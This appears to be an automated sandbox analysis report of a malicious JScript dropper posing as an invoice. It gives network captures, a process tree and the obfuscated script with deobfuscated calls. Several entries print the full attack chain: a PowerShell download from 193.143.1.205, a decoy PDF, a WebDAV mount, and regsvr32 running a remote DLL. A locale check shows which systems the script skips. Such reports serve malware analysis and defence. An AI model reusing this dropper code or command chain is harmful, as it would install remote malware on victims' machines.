Jan 10, 2025 21:56:22.500802040 CET	1.1.1.1	192.168.2.8	0x5872	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:56:53.197051048 CET	1.1.1.1	192.168.2.8	0x10a9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:56:53.197051048 CET	1.1.1.1	192.168.2.8	0x10a9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	5664	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:55:41.119927883 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:55:41.915029049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:55:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 21:55:41.915051937 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:55:41.915064096 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:55:41.915077925 CET	1236	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:55:41.915097952 CET	1236	IN	Data Raw: 8f cf 44 e9 c0 d0 79 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 Data Ascii: DycyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M
Jan 10, 2025 21:55:41.915111065 CET	883	IN	Data Raw: 6a 62 28 3d 74 53 a6 be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 Data Ascii: jb(=tS9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV
Jan 10, 2025 21:55:41.915132046 CET	1236	IN	Data Raw: 3c 30 f4 21 1d 18 fa 74 7b db e4 c8 f6 c0 d0 26 86 9e 9f b5 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f Data Ascii: <0!t{&1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 21:55:41.915143967 CET	224	IN	Data Raw: 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 Data Ascii: 4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~I
Jan 10, 2025 21:55:41.915154934 CET	1236	IN	Data Raw: 69 e5 e4 94 2f 4d b9 f4 93 7a 4a 2a 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca Data Ascii: i/MzJ>)kz{~YjREsI4Y>ju:%QSisA\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%
Jan 10, 2025 21:55:41.915168047 CET	224	IN	Data Raw: d5 81 a1 3a 86 36 07 86 de 3c 5e 5f 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e Data Ascii: :6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K
Jan 10, 2025 21:55:41.919998884 CET	1236	IN	Data Raw: 7e 83 f9 1f 09 30 64 38 ba 30 16 5d ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 Data Ascii: ~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	4452	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:55:43.211555958 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:55:44.064730883 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:55:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:55:32
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4036231441630930293.js"
Imagebase:	0x7ff73a380000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:55:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Imagebase:	0x7ff666a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:55:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:55:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:55:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:55:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff666a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:55:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7db8a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:55:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:55:42
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:55:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,4325848823295706323,9422019442632533307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lwubusxop() {	lwubusxop() ➔ undefined
1	nmgdzs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yxbeyolic = this[eabxlp + uaxhixt + ghwmhwbj + dhjeg + fwswfg + naizjfkmb + gfqosn + hievhxcly] ( this[ponpmtgyc + wfavftfg + dhhle + ghwmhwbj + bbdmwuk + eabxlp + hievhxcly][qkpbnwckz + ghwmhwbj + fwswfg + uaxhixt + hievhxcly + fwswfg + hxnpe + vcatw + nbrcabyf + fwswfg + dhhle + hievhxcly] ( ponpmtgyc + wfavftfg + dhhle + ghwmhwbj + bbdmwuk + eabxlp + hievhxcly + vdgormlrn + wfavftfg + lsbqje + fwswfg + qznrfusbz + qznrfusbz ) [muijkd + fwswfg + xxshvlv + muijkd + fwswfg + uaxhixt + dxlbp] ( nphlwjkcy + ergvbfiok + gqklnst + mbxwbjza + zggvl + qkpbnwckz + xngnsidw + muijkd + muijkd + gqklnst + kkvrqcow + hbmkzmvg + zggvl + xngnsidw + wfavftfg + gqklnst + muijkd + icpau + qkpbnwckz + agfuzgeca + gfqosn + hievhxcly + ghwmhwbj + agfuzgeca + qznrfusbz + ovyxcqulq + vcptzf + uaxhixt + gfqosn + fwswfg + qznrfusbz + icpau + naizjfkmb + gfqosn + hievhxcly + fwswfg + ghwmhwbj + gfqosn + uaxhixt + hievhxcly + bbdmwuk + agfuzgeca + gfqosn + uaxhixt + qznrfusbz + icpau + zuovo + agfuzgeca + dhhle + uaxhixt + qznrfusbz + fwswfg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zxawxl = 0 ; zxawxl < nmgdzs[qznrfusbz + fwswfg + gfqosn + xxshvlv + hievhxcly + lsbqje] ; ++ zxawxl )
4	{
5	if ( yxbeyolic == nmgdzs[zxawxl] )
6	{
7	yxbeyolic = true;
8	break ;
9	}
10	}
11	if ( yxbeyolic !== true )
12	this[ponpmtgyc + wfavftfg + dhhle + ghwmhwbj + bbdmwuk + eabxlp + hievhxcly][utygi + vaczzrn + bbdmwuk + hievhxcly] ( );
13	this[ponpmtgyc + wfavftfg + dhhle + ghwmhwbj + bbdmwuk + eabxlp + hievhxcly][qkpbnwckz + ghwmhwbj + fwswfg + uaxhixt + hievhxcly + fwswfg + hxnpe + vcatw + nbrcabyf + fwswfg + dhhle + hievhxcly] ( ponpmtgyc + wfavftfg + dhhle + ghwmhwbj + bbdmwuk + eabxlp + hievhxcly + vdgormlrn + wfavftfg + lsbqje + fwswfg + qznrfusbz + qznrfusbz ) [ghwmhwbj + vaczzrn + gfqosn] ( dhhle + quqwnmj + dxlbp + ovyxcqulq + rrjsjzn + dhhle + ovyxcqulq + eabxlp + agfuzgeca + wbssjndcj + fwswfg + ghwmhwbj + dhjeg + lsbqje + fwswfg + qznrfusbz + qznrfusbz + vdgormlrn + fwswfg + bkwyy + fwswfg + ovyxcqulq + rrufewo + qkpbnwckz + agfuzgeca + quqwnmj + quqwnmj + uaxhixt + gfqosn + dxlbp + ovyxcqulq + zydttxpj + naizjfkmb + gfqosn + foabjk + agfuzgeca + ldsphhen + fwswfg + rrufewo + ponpmtgyc + fwswfg + vcatw + muijkd + fwswfg + njnicup + vaczzrn + fwswfg + dhjeg + hievhxcly + ovyxcqulq + rrufewo + hxnpe + vaczzrn + hievhxcly + iihucmtot + bbdmwuk + qznrfusbz + fwswfg + ovyxcqulq + sxhksuzh + hievhxcly + fwswfg + quqwnmj + eabxlp + sxhksuzh + icpau + bbdmwuk + gfqosn + foabjk + agfuzgeca + bbdmwuk + dhhle + fwswfg + vdgormlrn + eabxlp + dxlbp + coluukq + ovyxcqulq + lsbqje + hievhxcly + hievhxcly + eabxlp + zczypj + rrjsjzn + rrjsjzn + ywagqz + hyojhshe + uvzydvsss + vdgormlrn + ywagqz + jqlrinfxg + uvzydvsss + vdgormlrn + ywagqz + vdgormlrn + cxyttt + nfoze + qgkpdw + rrjsjzn + bbdmwuk + gfqosn + foabjk + agfuzgeca + bbdmwuk + dhhle + fwswfg + vdgormlrn + eabxlp + lsbqje + eabxlp + zydttxpj + bvxmwi + bvxmwi + dhjeg + hievhxcly + uaxhixt + ghwmhwbj + hievhxcly + ovyxcqulq + sxhksuzh + hievhxcly + fwswfg + quqwnmj + eabxlp + sxhksuzh + icpau + bbdmwuk + gfqosn + foabjk + agfuzgeca + bbdmwuk + dhhle + fwswfg + vdgormlrn + eabxlp + dxlbp + coluukq + bvxmwi + bvxmwi + dhhle + quqwnmj + dxlbp + ovyxcqulq + rrjsjzn + dhhle + ovyxcqulq + gfqosn + fwswfg + hievhxcly + ovyxcqulq + vaczzrn + dhjeg + fwswfg + ovyxcqulq + icpau + icpau + ywagqz + hyojhshe + uvzydvsss + vdgormlrn + ywagqz + jqlrinfxg + uvzydvsss + vdgormlrn + ywagqz + vdgormlrn + cxyttt + nfoze + qgkpdw + apreekp + vnvdnlwt + vnvdnlwt + vnvdnlwt + vnvdnlwt + icpau + dxlbp + uaxhixt + foabjk + wbssjndcj + wbssjndcj + wbssjndcj + ghwmhwbj + agfuzgeca + agfuzgeca + hievhxcly + icpau + bvxmwi + bvxmwi + dhhle + quqwnmj + dxlbp + ovyxcqulq + rrjsjzn + dhhle + ovyxcqulq + ghwmhwbj + fwswfg + xxshvlv + dhjeg + foabjk + ghwmhwbj + uvzydvsss + cxyttt + ovyxcqulq + rrjsjzn + dhjeg + ovyxcqulq + icpau + icpau + ywagqz + hyojhshe + uvzydvsss + vdgormlrn + ywagqz + jqlrinfxg + uvzydvsss + vdgormlrn + ywagqz + vdgormlrn + cxyttt + nfoze + qgkpdw + apreekp + vnvdnlwt + vnvdnlwt + vnvdnlwt + vnvdnlwt + icpau + dxlbp + uaxhixt + foabjk + wbssjndcj + wbssjndcj + wbssjndcj + ghwmhwbj + agfuzgeca + agfuzgeca + hievhxcly + icpau + ywagqz + uvzydvsss + qgkpdw + jqlrinfxg + vnvdnlwt + ywagqz + hyojhshe + nfoze + ywagqz + qgkpdw + cxyttt + ncrvubjl + qgkpdw + uvzydvsss + uvzydvsss + vdgormlrn + dxlbp + qznrfusbz + qznrfusbz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll",0,false) ➔ 0
14	}
15	bbdmwuk = "V";
16	bbdmwuk = "h";
17	bbdmwuk = "F";
18	bbdmwuk = "o";
19	bbdmwuk = "Y";
20	bbdmwuk = "K";
21	bbdmwuk = "F";
22	bbdmwuk = "E";
23	bbdmwuk = "V";
24	bbdmwuk = "p";
25	bbdmwuk = "R";
26	bbdmwuk = "u";
27	bbdmwuk = "B";
28	bbdmwuk = "l";
29	bbdmwuk = "b";
30	bbdmwuk = "Z";
31	bbdmwuk = "U";
32	bbdmwuk = "K";
33	bbdmwuk = "h";
34	bbdmwuk = "B";
35	bbdmwuk = "J";
36	bbdmwuk = "D";
37	bbdmwuk = "B";
38	bbdmwuk = "W";
39	bbdmwuk = "v";
40	bbdmwuk = "C";
41	bbdmwuk = "r";
42	bbdmwuk = "i";
43	vnvdnlwt = "Q";
44	vnvdnlwt = "U";
45	vnvdnlwt = "c";
46	vnvdnlwt = "z";
47	vnvdnlwt = "p";
48	vnvdnlwt = "S";
49	vnvdnlwt = "n";
50	vnvdnlwt = "x";
51	vnvdnlwt = "Q";
52	vnvdnlwt = "l";
53	vnvdnlwt = "h";
54	vnvdnlwt = "l";
55	vnvdnlwt = "H";
56	vnvdnlwt = "O";
57	vnvdnlwt = "C";
58	vnvdnlwt = "l";
59	vnvdnlwt = "I";
60	vnvdnlwt = "a";
61	vnvdnlwt = "U";
62	vnvdnlwt = "J";
63	vnvdnlwt = "O";
64	vnvdnlwt = "R";
65	vnvdnlwt = "e";
66	vnvdnlwt = "Z";
67	vnvdnlwt = "r";
68	vnvdnlwt = "j";
69	vnvdnlwt = "B";
70	vnvdnlwt = "X";
71	vnvdnlwt = "S";
72	vnvdnlwt = "L";
73	vnvdnlwt = "J";
74	vnvdnlwt = "s";
75	vnvdnlwt = "u";
76	vnvdnlwt = "C";
77	vnvdnlwt = "H";
78	vnvdnlwt = "w";
79	vnvdnlwt = "e";
80	vnvdnlwt = "p";
81	vnvdnlwt = "M";
82	vnvdnlwt = "8";
83	uaxhixt = "B";
84	uaxhixt = "O";
85	uaxhixt = "I";
86	uaxhixt = "s";
87	uaxhixt = "h";
88	uaxhixt = "T";
89	uaxhixt = "k";
90	uaxhixt = "Y";
91	uaxhixt = "E";
92	uaxhixt = "i";
93	uaxhixt = "P";
94	uaxhixt = "s";
95	uaxhixt = "j";
96	uaxhixt = "a";
97	uaxhixt = "q";
98	uaxhixt = "U";
99	uaxhixt = "h";
100	uaxhixt = "h";
101	uaxhixt = "y";
102	uaxhixt = "G";
103	uaxhixt = "O";
104	uaxhixt = "f";
105	uaxhixt = "v";
106	uaxhixt = "x";
107	uaxhixt = "R";
108	uaxhixt = "v";
109	uaxhixt = "S";
110	uaxhixt = "x";
111	uaxhixt = "n";
112	uaxhixt = "b";
113	uaxhixt = "R";
114	uaxhixt = "u";
115	uaxhixt = "w";
116	uaxhixt = "T";
117	uaxhixt = "Q";
118	uaxhixt = "W";
119	uaxhixt = "R";
120	uaxhixt = "G";
121	uaxhixt = "i";
122	uaxhixt = "a";
123	dhhle = "V";
124	dhhle = "z";
125	dhhle = "T";
126	dhhle = "F";
127	dhhle = "l";
128	dhhle = "a";
129	dhhle = "G";
130	dhhle = "n";
131	dhhle = "U";
132	dhhle = "T";
133	dhhle = "m";
134	dhhle = "e";
135	dhhle = "P";
136	dhhle = "n";
137	dhhle = "S";
138	dhhle = "h";
139	dhhle = "Z";
140	dhhle = "z";
141	dhhle = "e";
142	dhhle = "V";
143	dhhle = "V";
144	dhhle = "R";
145	dhhle = "E";
146	dhhle = "u";
147	dhhle = "p";
148	dhhle = "w";
149	dhhle = "G";
150	dhhle = "A";
151	dhhle = "u";
152	dhhle = "W";
153	dhhle = "t";
154	dhhle = "T";
155	dhhle = "m";
156	dhhle = "W";
157	dhhle = "G";
158	dhhle = "p";
159	dhhle = "w";
160	dhhle = "g";
161	dhhle = "U";
162	dhhle = "p";
163	dhhle = "c";
164	vcatw = "m";
165	vcatw = "x";
166	vcatw = "p";
167	vcatw = "m";
168	vcatw = "U";
169	vcatw = "c";
170	vcatw = "A";
171	vcatw = "w";
172	vcatw = "Q";
173	vcatw = "d";
174	vcatw = "E";
175	vcatw = "X";
176	vcatw = "u";
177	vcatw = "B";
178	vcatw = "w";
179	vcatw = "n";
180	vcatw = "n";
181	vcatw = "l";
182	vcatw = "G";
183	vcatw = "G";
184	vcatw = "m";
185	vcatw = "I";
186	vcatw = "V";
187	vcatw = "D";
188	vcatw = "S";
189	vcatw = "c";
190	vcatw = "b";
191	vcatw = "b";
192	bkwyy = "H";
193	bkwyy = "n";
194	bkwyy = "r";
195	bkwyy = "G";
196	bkwyy = "w";
197	bkwyy = "m";
198	bkwyy = "I";
199	bkwyy = "g";
200	bkwyy = "X";
201	bkwyy = "A";
202	bkwyy = "O";
203	bkwyy = "d";
204	bkwyy = "f";
205	bkwyy = "T";
206	bkwyy = "q";
207	bkwyy = "M";
208	bkwyy = "c";
209	bkwyy = "p";
210	bkwyy = "B";
211	bkwyy = "s";
212	bkwyy = "e";
213	bkwyy = "P";
214	bkwyy = "x";
215	hievhxcly = "q";
216	hievhxcly = "t";
217	cxyttt = "X";
218	cxyttt = "e";
219	cxyttt = "H";
220	cxyttt = "y";
221	cxyttt = "G";
222	cxyttt = "F";
223	cxyttt = "h";
224	cxyttt = "x";
225	cxyttt = "s";
226	cxyttt = "u";
227	cxyttt = "G";
228	cxyttt = "q";
229	cxyttt = "I";
230	cxyttt = "Q";
231	cxyttt = "C";
232	cxyttt = "v";
233	cxyttt = "m";
234	cxyttt = "h";
235	cxyttt = "D";
236	cxyttt = "d";
237	cxyttt = "b";
238	cxyttt = "J";
239	cxyttt = "q";
240	cxyttt = "T";
241	cxyttt = "i";
242	cxyttt = "c";
243	cxyttt = "L";
244	cxyttt = "B";
245	cxyttt = "2";
246	fwswfg = "W";
247	fwswfg = "e";
248	fwswfg = "C";
249	fwswfg = "T";
250	fwswfg = "z";
251	fwswfg = "p";
